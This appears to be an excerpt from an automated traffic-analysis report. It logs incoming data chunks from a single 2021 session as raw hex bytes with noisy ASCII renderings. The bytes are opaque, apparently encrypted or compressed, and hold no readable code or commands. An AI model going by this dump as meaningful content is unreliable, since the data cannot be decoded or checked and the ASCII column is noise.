12 9a 64 82 8b 7a 99 b2 c2 75 53 38 c8 c6 10 45 cf ce 4b 6e 2a 94 49 5b 02 db 0f 7e 13 34 5a 5f 1d 98 bc 97 ee 15 7a 39 
e5 ef 42 f6 90 b8 1b bf dd 02 47 56 32 81 b7 21 54 d7 5e 54 e0 c5 5b 67 cd 33 62 9b 7f db 5d c3 3a 59 35 8b 29 81 76 88 
a0 fc 9b 0e 63 62 dc 68 eb 10 85 cc 9a 3e c3 f6 f1 51 ae ce 7f d9 23 02 af bb 15 a0 e0 4d f4 3e 5b 75 49 37 38 2c f9 81 dd 
37 50 a0 f0 f2 a9 fa f1 0d 50 78 5c bd fa 1f 7c 03 64 78 
Data Ascii: \kMZiMI/R1^C2A`-\.-u#~e$Z(U6j;+jJs04g@+-eQdzuS8EKn*I[~4Z_z9BGV2!T^T[g3b]:Y5)vcbh>Q#M>[uI
78,7PPx\|dx

2021-10-04 18:06:38 UTC 188 IN Data Raw: 70 c7 c1 51 9c a7 08 03 6a 52 30 0f 68 82 cc 6d 4e a9 86 95 e0 91 40 bd f5 77 37 3c e8 d8 01 79 c7 e8 48 46 
aa 15 d0 0e 05 b0 28 dc 8e ab 1c 0c 6e f8 12 2f 7f d1 d3 22 4f 72 92 16 11 5f bc 64 a2 62 41 83 cd d9 81 f1 1b 53 89 99 77 
18 93 4c 9f d1 ab 45 ca c6 91 e5 e8 f0 21 ba b8 03 82 7d 3b 61 8b 71 9d 23 4c b9 4c ce d4 aa ab 5b 2f 1b fe fd 34 8a 66 
10 83 1c 6c 5e 60 c4 bc 10 bc 2c b4 6e 93 16 59 91 75 9e 9e 11 9a 19 78 11 68 c4 88 1b 1c 94 5e 52 5a d6 ad 46 55 98 
6b 7f 6a 92 a1 30 a6 4f 12 74 e2 ef b8 e4 18 11 39 4f ca b4 29 68 a8 bd f3 a4 e7 a6 23 c5 d5 3c 2c ae 9c 4b 43 27 43 1e 
c8 84 5e f9 a9 9e c2 5d c1 b3 ca ca 99 dc 57 c5 88 d2 9b 61 97 2c ea ba 41 9d b7 c3 62 6a 9f c5 91 73 89 64 e7 0f a2 56 
f8 c1 c4 b1 11 9a 2e a8 0b 44 a2 b4 42 cf 7a a2 6e 97 29 
Data Ascii: pQjR0hmN@w7<yHF(n/"Or_dbASwLE!};aq#LL[/4fl^`,nYuxh^RZFUkj0Ot9O)h#<,KC'C^]Wa,AbjsdV.DBzn)

2021-10-04 18:06:38 UTC 189 IN Data Raw: 5e fc d8 46 ce c3 a0 d9 ec 2f db 79 13 dd b8 33 72 a8 ac be 58 9a 1f 25 ec 0f 1b ed e3 0d db db a5 cd a6 37 0e 
a1 8c 77 6b b2 55 f0 fe 38 56 64 6e 44 6c 17 b2 0d fc 39 6f 02 85 ee e3 88 9b 28 d5 6a e4 97 11 7b 33 e9 34 43 71 02 c1 
0c ac 34 0d 03 a3 80 27 69 e2 42 a4 72 c5 f8 15 5f 53 5f 41 09 e3 e5 59 e7 8c 08 fe ed 67 5b 54 3b 26 75 af 9f ff 6f 4f 0c 
7e ba 8c d1 4b 59 b2 96 f3 3e 8e 6d 35 a3 92 3c 7b e7 25 96 4b 83 b5 99 22 d0 a3 9e 85 6d f4 00 66 f8 5f 21 9e 6a 4a a8 
2e dc a6 a9 23 91 8f 7d 3c 02 6a 74 56 76 49 1d d1 1d 64 12 e1 38 80 4a 73 e7 93 1b 5d b5 43 c8 80 9e f6 8f cf aa 1e b2 
bb 99 b7 5e 48 59 3b ce 18 b5 5b cc 62 47 84 6f 4b a0 da be 10 e1 e6 0b 78 8e 9e 43 85 a6 ee db 5e 1d 54 8b 69 10 f6 d4 
5e 26 02 69 de 56 dc 62 04 04 d9 de 40 94 f7 d3 0c 
Data Ascii: ^F/y3rX%7wkU8VdnDl9o(j{34Cq4'iBr_S_AYg[T;&uoO~KY>m5<{%K"mf_!jJ.#}<jtVvId8Js]C^HY;[bGoKxC
^Ti^&iVb@

2021-10-04 18:06:38 UTC 191 IN Data Raw: 89 9c 4a 16 35 41 d1 cd 13 0f f2 38 80 a1 8a 02 28 5a 56 9a 1e a9 ca 2c 6d e4 b7 76 5c 1e 5c dd 15 19 00 46 
04 82 30 c6 65 33 a0 d0 19 d0 99 f4 0e 05 51 a5 ac e9 44 19 92 82 7c 5a 51 85 e9 f6 a3 1b 57 32 8f 2e 31 60 47 80 19 a8 
2b 1b 7d 67 1a 24 ae d6 35 60 11 b1 99 25 28 50 16 6d 5f 33 99 6c 18 dc 21 80 db 9c cc 21 75 74 9e 89 46 dc 6f 05 a3 90 
8a 9b d2 a4 65 59 0b 4e 5d 13 a3 20 3a a3 ff 90 8c 98 fd 28 9b 9e 18 9b 70 b4 10 9b c1 c0 5c a6 87 bd c9 c3 1c 2b ee 94 
57 cd 37 d4 81 32 8a 89 82 63 5f a4 d6 81 a8 17 84 62 34 60 7b 66 50 0a e7 66 fd ea 71 f3 3e 2a c8 29 63 fe 6b 21 79 fe 
89 99 21 99 41 2a b2 7d 6c 3e a3 3f af 26 94 53 2a 4b 7b 68 9d 68 dc 72 d0 40 6b 1c 00 6f 8a 62 e3 58 d1 20 39 9e 50 e6 
c8 6a cb f5 cc df 8d 06 4b 0e 81 8d d5 5b 23 ac 8a ad 04 
Data Ascii: J5A8(ZV,mv\\F0e3QD|ZQW2.1`G+}g$5`%(Pm_3l!!utFoeYN] :(p\+W72c_b4`{fPfq>*)ck!y!A*}l>?&S*K{hhr@kobX 
9PjK[#

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 192 IN Data Raw: 65 2b a8 ec 42 81 3e 8f 7d 60 9c 3f 57 74 36 f6 67 bd f6 c1 5c 9b 7e 40 10 0d e9 89 73 d8 81 5f 97 16 88 84 95 
80 10 cf 7a 62 83 d7 36 ba 66 8c 1e f3 b4 6b 82 e1 f3 96 b1 56 92 7b 36 78 1f c2 a6 ae 4c aa 18 11 97 ed 0c e5 a7 89 87 
14 02 25 86 9e b0 9b ff 7c a2 33 65 08 99 5c 33 02 4f 5b 87 cf 44 9d 79 29 18 99 9c e2 6e de 69 78 36 6e 3a 9f 3f fa 71 4d 
f4 aa b3 50 86 f6 81 0a e2 ee 93 c1 79 e3 c8 a8 b9 94 b4 e1 73 17 d2 2e 83 00 ed 7a ab dc ec a1 da 3e 12 e7 04 4b ad cc 
d3 e0 e1 a4 1c 13 3e 48 6a 04 1b f0 04 45 d2 c9 1b cf fc 23 33 cc b9 0b 64 eb fb 75 ed 62 4d 39 2e 68 e2 64 50 f2 8a 27 
2c 9d 6c 2d 7e 50 8c 4a 96 66 66 65 59 a5 e8 39 03 8a 2b b4 c4 b1 35 60 38 9e 13 d8 09 63 a7 2e 6f e3 88 e3 8c 7f 81 26 
35 ae 64 bd 72 60 2a 17 61 b8 e5 a4 08 4b cd df 09 
Data Ascii: e+B>}`?Wt6g\~@s_zb6fkV{6xL%|3e\3O[Dy)nix6n:?qMPys.z>K>HjE#3dubM9.hdP',l-~PJffeY9+5`8c.o&5dr`*aK

2021-10-04 18:06:38 UTC 193 IN Data Raw: a2 75 78 2f c9 4a 15 59 ea 86 d8 db 82 92 8c 1e 1c 02 85 1d bd 04 c3 62 12 44 9b f8 26 8a da 25 13 79 db 2d 
de ed ca d8 dc ce e4 36 60 75 28 74 00 64 ea ba ac da 6e 0f ec 83 77 38 e6 54 3f e2 69 85 77 df ae 31 22 ae 2d be 9c 15 
bb f6 14 42 89 20 da a7 40 51 3e cf 94 56 7b d1 7b 2e 2c 69 cd 75 51 b9 15 76 34 16 90 19 4d 2e 73 32 f2 73 aa a5 f9 1d 
59 84 d4 08 14 54 d7 b5 fa 46 70 9e 1f 5b da 5f dc fc 7a bb d5 52 76 9b 1b 19 73 45 cc 0e 9d 01 08 7c 4e 0c 31 a9 68 1f 
d9 6b 47 91 86 29 e9 6f 49 5f f6 b0 28 66 ec 3a 02 de d8 d3 4d 52 ae 98 c5 58 05 54 2b a0 99 ae 19 ea 6d 4c 0d 2b 7a 6f 
d3 aa 6c 19 92 ee 12 8a 91 da aa 92 43 32 c7 55 85 03 19 c7 9c 78 7f b2 93 ca 9f 3b a3 e9 ca 50 91 11 e0 b9 21 88 b0 a9 
84 6b 3f fe b8 82 95 8d 4c 37 59 52 d1 62 a9 cf 3a d7 f6 
Data Ascii: ux/JYbD&%y-6`u(tdnw8T?iw1"-B @Q>V{{.,iuQv4M.s2sYTFp[_zRvsE|N1hkG)oI_(f:MRXT+mL+zolC2Ux;P!k?
L7YRb:

2021-10-04 18:06:38 UTC 194 IN Data Raw: 35 48 ac d0 7a 2d 31 30 c8 8e 29 24 f4 30 14 80 c1 55 6f 2e 64 6d ac 95 17 d7 3f 7e a9 1d 8e 37 9e 96 ea 9d 3f
c7 ba 9a d4 89 56 32 d8 25 59 d3 7c 52 4d 47 f8 13 b4 97 d0 56 e9 d9 1e 59 03 51 b8 8b b6 80 dc bb 3a 6f 38 a8 f1 42 c2 
3e 9c 7d 7d 9c 7c 5d 6f ae dd 67 f4 f6 b2 58 40 7e 23 10 16 e9 a5 73 bb 81 4c 9d 0b 21 f8 95 f3 10 3b 7e e2 83 fc 36 ff 66 
0f 1e e8 b4 47 83 62 33 f7 b1 13 92 f8 32 fb 1f 87 a6 27 4c d9 18 17 96 4d 0d ce 46 e4 87 b5 02 ee 82 db b0 3a ff af a2 76 
65 ab 99 4f 39 1f 15 d6 87 0c 44 e3 7c e9 18 b2 9c a7 6e 1d 69 9b 36 6d 32 5c 6f dd 71 50 f4 4a b7 7b 86 b3 81 e9 e2 6d 
93 84 79 e3 c8 83 20 c8 b4 e1 72 04 d7 33 87 20 ea 69 af c1 e4 81 dc 15 1b a2 03 0b a6 e7 d4 a5 ea e4 1a 00 32 55 6d 
64 17 e3 03 58 dc a9 17 e4 f3 66 34 4c a8 20 6b ae 
Data Ascii: 5Hz-10)$0Uo.dm?~7?V2%Y|RMGVYQ:o8B>}}|]ogX@~#sL!;~6fGb32'LMF:veO9D|ni6m2\oqPJ{my r3 i2Umd
Xf4L k

2021-10-04 18:06:38 UTC 196 IN Data Raw: 48 fa 21 6f 44 56 57 1c 89 a1 17 1e b3 68 16 7f c7 f8 9f ba 4b de 95 b4 e6 79 2e d2 2e a5 30 98 52 30 33 d5 c6 
7c 50 13 ba 34 b7 18 b9 83 28 ba 3c ed f8 e9 16 70 45 bd 3f a6 e8 e1 e5 f2 71 53 73 1e c7 aa 4a 28 e7 c1 e5 70 71 90 4a 
70 7b e2 da 81 db e5 de 98 6d 4b 02 c6 65 b4 48 95 62 57 ab b3 a9 4d 8a 9d 1d 3c fd 8e 2d bf fa ee a7 b7 ce 87 64 7c d3 
6e 74 65 e9 c1 32 cc da 09 96 e3 75 17 38 a5 d0 12 6a 3d 85 32 90 85 cd 42 ae 6a 03 9a 68 ec f6 73 71 f0 bd 95 f4 03 c4 
7e 0d fb 1f 7b 7b 31 ec 41 20 cd d1 3b 7b 7e 3d 34 74 d9 1a 2a 65 73 75 b8 76 e9 ed f9 5f 13 83 91 40 14 15 9d bc bd 0e 
70 d9 55 50 bb 17 dc 8a 30 b6 b6 19 76 ea 51 14 16 0d cc 7e d7 0e 6f 37 4e 59 7a a6 2b 56 d9 52 0c 80 c3 60 e9 57 02 
4c b1 fa 28 51 a7 29 63 97 d8 af 07 47 cd d2 c5 23 4f 41 
Data Ascii: H!oDVWhKy..0R03|P4(<pE?qSsJ(pqJp{mKeHbWM<-d|nte2u8j=2Bjhsq~{{1A ;{~=4t*esuv_@pUP0vQ~o7NY
z+VR`WL(Q)cG#OA

2021-10-04 18:06:38 UTC 197 IN Data Raw: 5a 00 fe 41 a3 65 b3 4e 8e 05 e4 e3 30 a4 d5 70 f5 60 e1 8b 9d 69 0a bf d0 89 05 d4 95 ef f1 f8 da e0 ed 0b c2 
63 9b b6 c4 a7 71 31 54 70 0f b2 c6 ed 0e 8c 15 93 28 00 51 7b 67 d0 96 51 d5 14 7c f2 aa e9 06 db 81 5b 02 ca 54 38 6c 
55 70 8e c0 5e ca b4 57 77 a1 b3 0b 2e e4 1c 01 ac 2a 07 b0 51 bb cd 78 6a 37 ca fe 98 f8 5e a3 ba d6 bb e8 32 32 ba 41 
59 90 1f 52 0c 27 9c 13 e7 df 91 67 a4 b8 70 38 64 35 dc cc e3 e9 b6 d5 5e 04 5d c4 bc 23 ac 5f fb 18 19 9c 1b 32 1b 69 
96 06 87 82 ff 33 24 17 45 79 73 8d a5 00 de f5 13 db 6a fb 99 d8 9c 74 52 1c 8b e6 98 36 8c 03 7b 41 ad da 26 e0 0e 96 
89 b1 74 f7 8c 69 9e 71 e6 c4 4b 29 bd 18 64 f3 39 53 ab c9 ad e5 d9 67 8a 86 bc d5 4e a0 ed db 02 00 d8 cd 3d 52 71 3c 
9e e2 7e 36 86 1c e9 79 d6 f8 f8 2b 71 08 eb 45 08 5c 
Data Ascii: ZAeN0p`icq1Tp(Q{gQ|[T8lUp^Ww.*Qxj7^22AYR'gp8d5^]#_2i3$EysjtR6{A&tiqK)d9SgN=Rq<~6y+qE\

2021-10-04 18:06:38 UTC 198 IN Data Raw: a1 80 d4 2e 1b af 54 0b 70 dc 1c 32 0f bf cd 0a 27 52 db 19 74 fc b6 f1 02 64 c3 7b ed 89 85 96 26 f9 52 f9 29 
77 b0 34 34 e7 40 41 b2 a2 da 23 58 b4 bc 01 27 5d 9e 9a 6a 96 b8 9f ec 0b fc ed bb ec a1 e8 37 b6 03 6a 9f 17 76 02 60 
7d 70 83 86 7a 3e f5 0f 35 4d 98 cf ab d5 75 f1 f1 b0 d2 37 2d f9 4b c6 05 fd 42 29 43 c2 ef 0a 5f 31 df 21 bf 79 96 a1 28 
9e 1e 99 e3 fb 65 50 70 f3 18 8c 8d a6 d1 97 4d 4b 26 0c e5 d8 66 0e 8a c7 a2 17 70 a3 15 56 53 8f cc b3 af e7 eb d6 4e 
6e 67 85 4a d1 78 82 32 60 8c d0 8a 76 f9 94 34 51 d0 c6 4a bb c6 b1 95 8d a1 80 59 1f c3 68 15 6d c4 c1 33 e1 ae 31 bf 
80 54 31 4d 88 ed 5c 4f 19 e0 77 aa e0 ff 54 cf 4e 29 f5 55 cb 82 5a 75 e9 87 d4 e0 25 f9 67 7f f5 35 1e 6a 0b 89 51 2b b4 
fb 13 16 7e 74 75 61 e3 7f 20 4e 1f 4e bc 17 c7 
Data Ascii: .Tp2'Rtd{&R)w44@A#X']j7jv`}pz>5Mu7-KB)C_1!y(ePpMK&fpVSNngJx2`v4QJYhm31T1M\OwTN)UZu%g5jQ+
~tua NN

2021-10-04 18:06:38 UTC 199 IN Data Raw: 41 fc 20 f7 db 2d 19 35 ce f6 e8 ee f5 62 63 1b 2a fa f8 7c ad 1c ac 37 2d c8 63 2b f8 00 8f 18 ad df 5b cb 18 42 
bc 83 de fa a1 6f ea 40 2f ba f5 7e bd ce 59 86 ec f4 46 46 81 a1 60 65 dc e8 1b 28 7c 34 68 a4 ac 22 33 ef 4b a9 62 b6 
6a bb 02 ef e4 31 d1 f6 7b 91 78 f2 8a 9a 05 2e 9c c1 e6 24 d5 e6 df d6 97 ec f6 98 3e d2 06 b9 81 b0 81 61 54 59 6c 6c 
b0 d3 ed 38 aa 1f e0 2e 11 51 5e 67 dc 87 4a c7 40 46 e5 a3 e1 03 e9 9a 58 08 db 5e 08 4a 5f 04 bb c4 49 ee 87 4c 60 b6 
a9 1a 19 e9 30 65 fc 04 05 b4 52 a8 da 6b 6f 4e df e2 9e ef 56 a5 cf ee b1 89 04 47 b6 51 30 9e 1e 11 22 2e 88 72 c0 fe 
b2 3f 85 b0 6a 20 42 24 cc be d8 e2 a9 cf 5f 65 6b dd 81 32 b0 5b ef 0e 28 f2 11 36 01 57 bd 02 90 b5 dd 38 25 2d 46 73 
63 9b cc 07 c2 c0 38 e3 79 e1 8f e0 87 75 3b 3b 81 
Data Ascii: A -5bc*|7-c+[Bo@/~YFF`e(|4h"3Kbj1{x.$>aTYll8.Q^gJ@FX^J_IL`0eRkoNVGQ0".r?j B$_ek2[(6W8%-Fsc8yu;;

2021-10-04 18:06:38 UTC 201 IN Data Raw: 2d c6 05 30 1f d9 8d 03 ff 23 05 0c 5b d2 81 24 66 e3 29 f9 ad f4 52 2a 3a 15 6c ef 5d 2c f7 41 1f cf e6 45 da fa 
e8 3c 62 3d 0e 56 30 22 28 b7 0f 63 aa 8b 08 cd a2 74 5d f9 c3 34 f1 42 d1 eb 79 99 d9 cc 34 74 3b c2 ad b1 3e 23 ce 5f 
05 1f d7 30 5b 04 b0 83 29 21 37 98 35 11 cc 89 94 2a 7f 85 54 ea ec 8c 9c 4b d4 39 be 2d 68 f6 3f 33 82 4f 53 a6 a9 b9 
14 40 a8 b5 2d 27 53 90 9a 6a 96 b8 9f e0 39 ca eb 9b ef 8c e2 5a 87 71 6c 94 10 4f 2b 67 7c 5a a4 89 76 37 b7 04 3f 5a 
ac bf 8d c8 62 f6 e6 b3 cf 0b 21 d6 42 a9 15 f3 36 12 58 b0 e7 19 42 0a f9 32 9f 4b 9e a1 43 f9 1d 86 bc c9 7d 35 65 d8 0d 
be 83 c4 cd 99 39 67 16 0b df c1 4a 00 8c a2 e0 1c 15 94 26 15 78 8e bc 83 b7 82 df f4 2f 44 6e 85 65 d8 0c 8b 03 7e e3 f2
83 69 e5 b9 1d 7b d9 a9 4f bf de ee 83 8d ab 
Data Ascii: -0#[$f)R*:l],AE<b=V0"(ct]4By4t;>#_0[)!75*TK9-h?3OS@-'Sj9ZqlO+g|Zv7?Zb!B6XB2KC}5e9gJ&x/Dne~i{O

2021-10-04 18:06:38 UTC 202 IN Data Raw: 2b 5e e7 a1 77 f9 e2 90 c4 e5 43 57 a2 05 db 6e 7c b4 ef 34 11 c7 93 bb fa 69 fd 82 af 23 e2 5f 8e ca 21 c9 df ef
f3 11 4d 8c d1 c4 fa 92 1f 4c 2a 0c b5 2e 87 87 75 d2 b4 3b 59 49 3c ac f5 3e 07 04 2b 78 df dc c8 7a d9 35 e9 f6 30 0e 26 
d3 fd f2 f4 90 05 4b 16 32 c4 f8 6a bc 2b aa 34 2f ad 53 26 e2 1b 84 34 90 c5 4f cd 08 5a a9 92 b7 d3 a3 0e e9 56 1d ba e8
62 b5 d8 45 9d e7 f4 62 4c 98 8e 48 6a de f3 07 29 66 25 62 a6 ab 33 35 ee 50 a7 78 ac 44 a1 76 ee e8 27 fb c3 7d f2 5f 
e6 8a 8a 2a 24 a2 d5 e0 20 c5 e7 cd e1 91 f1 ea ed 29 c3 17 82 90 ad 8e 71 58 72 73 4e b6 c0 f6 24 ab 05 d0 00 0b 43 45 
69 cb 80 5f d6 29 7b ee cf fb 07 ff ac 76 08 c1 43 22 4b 56 31 aa c6 45 ef a8 4c 57 ab ae 1e 05 fa 20 17 cd 11 1e ba 51 e9 
e5 78 67 5b df f5 89 f2 4a a9 ce d9 bb e7 
Data Ascii: +^wCWn|4i#_!ML*.u;YI<>+xz50&K2j+4/S&4OZVbEbLHj)f%b35PxDv'}_*$ )qXrsN$CEi_){vC"KV1ELW Qxg[J

2021-10-04 18:06:38 UTC 203 IN Data Raw: 6d f7 f4 79 b0 a5 e6 dc a1 b4 87 02 04 b5 43 83 67 9e 06 de b1 ec c3 aa 15 51 d3 04 4f dd e7 96 d4 e1 a2 6c 
00 79 24 6a 2c 6b e3 65 29 d2 cb 6b e4 9f 17 33 28 c9 20 01 df fb b3 9d 49 2a 0d 2e ea 91 4f 13 c5 8a a3 5f 8e 29 42 7e f6
ff 61 d1 51 66 2d 29 b6 8f 41 77 d5 70 fa a5 86 35 00 56 20 79 ef 09 17 cb 76 05 c7 fa 22 cb fd f3 59 54 3b 08 24 0b 1b 4d 
84 04 11 8f 95 67 fa 8b 1c 7a e1 c3 14 fe 36 c6 e0 0f 99 c7 ad 24 1e 48 c4 b3 ee 3b 3f af 4e 0e 6d b1 38 29 63 b9 f1 6b 2e 
45 db 1d 74 fa e2 c7 1b 66 e0 73 ec be ae 96 2f f9 20 be 0e 6a 98 3c 2a fb 5c 45 be a3 bf 25 21 97 91 0e 77 73 89 e3 7d 
87 a3 93 c6 2a cc f1 b4 e5 bf fb 35 a5 6a 69 9f 11 29 09 51 24 5f bf 9e 67 2f 9a 3b 35 4b b1 d6 ba df 53 ea fa a3 c9 1d 29 
e6 2e 94 38 df 75 04 4a c0 f4 13 65 30 c8 25 
Data Ascii: myCgQOly$j,ke)k3( I*.O_)B~aQf-)Awp5V yv"YT;$Mgz6$H;?Nm8)ck.Etfs/ j<*\E%!ws}*5ji)Q$_g/;5KS).8uJe0%

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 205 IN Data Raw: f4 6c 50 89 24 af 9c 1f db fb 01 03 e0 6f 7d 1e 22 e2 51 f3 7a 6d 0f 21 6b 62 c3 1a 6b b0 75 22 f3 86 66 80 72 
3b 23 85 de 4e 6d c2 7f 6b af ad ac 20 05 cf ea ac 24 2a 02 44 cf e9 e7 74 98 1f 1e 68 78 0d 11 b0 cd 1f 3b c0 8e 61 ff f4 
94 85 d9 36 5e b3 18 e9 7d 37 85 f3 30 0e c0 ff ad ed 4e c7 86 bc 38 f2 53 92 a4 6c e3 d3 f3 ea 07 50 99 cc 85 c2 fb 3f 40 
38 14 92 22 da a7 59 d2 ba 2d 67 5c 3c bf ef 2e 0b 18 45 3f dd cd f5 4b eb 31 f8 f4 3a 08 34 a7 f3 f8 ee cf 21 46 0b 01 ec 
d9 66 b9 3a b0 5b 0c cc 74 3c f9 0a 92 59 9e ce 5d e6 13 45 ad 85 aa d3 bf 67 e8 40 6e a9 e4 78 8b fc 5e 9d f9 91 77 5d 
85 b4 7a 09 f8 e4 02 26 7c 02 48 a6 bb 33 20 f4 4c ab 69 ab 5f 99 17 ef e4 32 c6 ee 7b e2 30 d4 81 8a 2f 22 a0 d6 fa 47 f5 
fb d9 f8 a8 ec eb 8e 2b d5 10 90 bd a0 95 
Data Ascii: lP$o}"Qzm!kbku"fr;#Nmk $*Dthx;a6^}70N8SlP?@8"Y-g\<.E?K1:4!Ff:[t<Y]Eg@nx^w]z&|H3 Li_2{0/"G+

2021-10-04 18:06:38 UTC 206 IN Data Raw: c2 76 e6 a7 42 9e 72 f7 ca 46 38 bc 48 65 f3 3e 69 ba d4 cc d1 d4 77 82 f2 9e de 4f 92 ca d0 17 11 ce cf 2e 46 
73 3b 8b 87 6b 21 97 27 a8 6c c6 fd c4 06 70 0c f5 42 1e 38 2f 5a 9d 2e 11 86 2d c6 16 e3 dd f5 9a e2 0a f6 f0 26 a6 b1 ea 
ca a5 c7 e1 13 76 a0 52 fa 53 ec 0e ce b5 b3 ca be 6c 61 a2 77 6e d8 b8 98 c0 98 97 1d 42 4a 55 29 10 1a a7 70 58 97 
dd 1a a2 88 66 74 38 b8 68 10 ae b8 ba 82 2a 2c 08 2e e9 93 3f 35 d9 ee a1 42 fc 01 51 0a b0 c4 0c f7 44 03 23 34 c4 85 
45 77 8a 4e fa b0 ab 7b 36 57 27 7d ef 4f 2c d6 58 0c d2 88 40 fb 94 d2 49 55 3b 15 37 11 3c 28 b5 01 07 a1 83 62 ed ab 
00 1b d2 ad 17 d4 20 f3 e4 1a 8c b3 81 39 7a 74 c3 ad d4 39 3d ce 7e 06 69 d8 3e 3e 2c b8 e9 0e 29 43 db 13 70 e6 83 f3 
0a 79 e0 7c f5 ae aa 84 2e d3 30 d4 29 60 82 5d 1b f0 
Data Ascii: vBrF8He>iwO.Fs;k!'lpB8/Z.-&vRSlawnBJU)pXft8h*,.?5BQD#4EwN{6W'}O,X@IU;7<(b 9zt9=~i>>,)Cpy|.0)`]

2021-10-04 18:06:38 UTC 207 IN Data Raw: 8a 43 3b 79 8a f5 46 4b 0c f1 77 be e0 ff 54 e7 43 24 ff 52 f1 93 6c 60 84 a5 b1 d3 14 e8 4f 79 9a 11 1e 6d 2f 
85 4c 0d a2 c2 26 1e 63 00 34 41 e4 68 28 4d 1e 5e 9c 11 e9 c8 97 6f 3c fb a0 0a 67 27 a5 d9 9b 29 19 ff 78 13 b5 33 a8 
8d 02 c2 d5 30 19 e0 6f 71 0b 33 cc 5a e8 0e 4b 08 4e 5f 44 a6 2d 68 d9 50 32 80 c1 5e e9 59 3c 4c 97 c4 28 7b 99 29 61 
a9 d8 a9 39 47 cb ec c5 21 71 41 4c d7 99 cc 6e fd 2e 3b 0d 4e 0d 78 96 de 6c 7d e5 f7 55 fd 91 b1 dd 8b 22 46 c7 13 f2 
18 7a b0 9c 39 08 a9 f6 be 9f 7b d4 f4 ad 27 91 74 96 a4 62 fd b0 c5 f2 74 7a 88 b8 ed e3 92 0b 42 59 30 a7 43 c8 b9 3a 
9e 80 54 57 4e 4e ad f1 4d 0b 1c 45 1e cf b9 db 52 98 22 fc ee 06 23 28 d0 94 da ff e4 24 41 10 08 ef e5 66 a8 31 a7 0c 
28 c3 64 30 e6 6f af 38 ad c2 5f c7 2d 5e a6 82 b1 cb 
Data Ascii: C;yFKwTC$Rl`Oym/L&c4Ah(M^o<g')x30oq3ZKN_D-hP2^Y<L({)a9G!qALn.;Nxl}U"Fz9{'tbtzBY0C:TWNNMER"#
($Af1(d0o8_-^

2021-10-04 18:06:38 UTC 208 IN Data Raw: b5 3b 99 b5 7f 2d 66 58 89 f8 9f b0 f2 8b 14 55 38 a8 f5 43 c2 3e 9c 7a 7b 89 6e 4f 6e 24 d6 60 f2 e3 a0 44 41 
6c 2b 17 10 fc b7 6b ba 93 6d 90 0d 9d ff 8d f2 02 2f 7c f7 91 e4 37 ed 6a 09 0b fa ac 46 90 6a f5 f8 a3 0b 93 ea 17 fd 0a 
95 be 26 5e cd 1b 17 96 4c 09 c9 a5 de 8b bd 06 ce 86 c8 b0 3e ff af b0 7a 60 ac 9b 5d 3b 17 4b f8 87 1e 4c e6 7f eb 0a 
93 94 a3 6e 1d 7b ba 33 6a 3a 4e 2b e1 75 50 f4 58 a7 7f 8e b3 93 e5 e6 4d 92 85 77 f3 c8 83 b2 9c cd cf 31 6b bf 43 f6 
54 89 1b ab c1 e8 89 db 07 1a b1 05 0b a2 aa aa 8b a0 94 6d 6c 57 36 0b 10 73 8c 6a 58 d2 ad 12 e4 ee 47 3f 4d b8 27 
29 d7 d5 80 9f 2c 3f 7c 2e ac eb 4f 42 a3 99 e6 2d 80 21 49 50 e7 e8 03 c5 46 14 13 32 d5 8d 57 03 8a 2d 98 c6 f6 3d 47 
3a 44 04 81 0d 63 a5 37 71 a2 8f 20 87 9c 82 1c 37 47 
Data Ascii: ;-fXU8C>z{nOn$`DAl+km/|7jFj&^L>z`];KLn{3j:N+uPXMw1kCTmlW6sjXG?M'),?|.OB-!IPF2W-=G:Dc7q 7G

2021-10-04 18:06:38 UTC 210 IN Data Raw: 79 fc fa 27 e7 fa 39 15 61 fe bd b8 a9 0e eb 82 a1 71 04 56 13 04 bd bb ad 47 8a 8e b9 9b 2e 11 82 50 3f 35 29 
cf e3 5b e7 93 ee 04 80 dd 55 3e b4 da 3f 5f d7 e8 d5 fe cf ec 32 7c b3 2c 75 11 81 c2 54 84 d2 65 d9 e5 39 50 36 e4 88 
93 17 69 8b 71 d9 87 8a 17 be 2f 4e 9a 21 a4 ea 11 14 84 f0 55 d2 45 ad 36 10 9f 58 71 1e 7d e2 2c 78 4c 8c 6f 75 13 71 
14 12 82 9b 4c 29 73 35 ee 6a b6 a3 f9 1a 57 9f d0 0d 15 41 be bf fd 45 7e 95 3f 51 d8 53 ce ef 73 aa c7 d2 f7 92 09 7d 6f 
5a d0 05 81 13 0a 60 52 0b 31 
Data Ascii: y'9aqVG.P?5)[U>?_2|,uTe9P6iq/N!UE6Xq},xLouqL)s5jWAE~?QSs}oZ`R1

2021-10-04 18:06:38 UTC 210 IN Data Raw: a1 74 01 cb 23 49 9d 9a 36 e7 0c 5b 79 eb b3 2c 19 ed 23 1e cd d8 c5 50 5b bc ac cb 5a 18 5c 25 bf 8b bb 05 
ff 6f 5d 0d 02 7a 64 c1 9d 62 26 8f ea 1c 96 83 cc a9 89 49 37 c4 63 05 99 0b 46 49 4f 17 af 93 ca 9e 00 a7 fa d3 56 9d 2a 
fd b1 33 0b 3d 80 9b 74 23 e3 a4 b6 88 8f 50 28 45 65 d2 5d a9 c6 3d e9 e5 d5 b9 38 50 c9 83 6d 6f 78 45 70 be 99 be 24 
90 56 99 9d 4c 7f c6 36 95 83 9a 96 72 2f 63 73 88 8b 01 dd 5c df 47 5c b1 1d 51 97 6f e2 5b c5 b7 2b a4 7a 34 d4 fa c2 
be c9 0e 8c 31 72 df 91 0d d5 b9 3e 73 04 f5 1b 29 f9 c3 88 84 bc 82 72 c7 b2 61 4e c6 d8 48 d3 02 23 d3 1e 44 6f cc 78 
93 8f 5d aa 9e 0b 83 b1 0a e5 f0 67 59 4d 2e 9c 55 31 0c ad 87 79 de 8a f8 5c 27 27 de dc ca e2 07 58 0e 7d 1d bc b1 f0 
43 ac 63 fa 7d 0c 37 45 1c d7 e0 57 b0 29 06 e9 dd e1 
Data Ascii: t#I6[y,#P[Z\%o]zdb&I7cFIOV*3=t#P(Ee]=8PmoxEp$VL6r/cs\G\Qo[+z41r>s)raNH#Dox]gYM.U1y\''X}Cc}7EW)

2021-10-04 18:06:38 UTC 211 IN Data Raw: b0 38 fa a1 aa 73 65 aa 84 4a 3d 18 48 fb 96 8c d8 e1 70 f4 1f bc 81 a2 73 18 74 9e 2b 68 36 40 23 f4 74 42 76 
5f a1 f9 97 ae 82 f4 fe 70 8f 99 7b e1 cf 80 bc f1 b5 ef 6f 07 d0 2e 86 26 ec 6b b7 dd fe b4 dd 15 10 bf 01 05 a2 e0 d4 a6 fc 
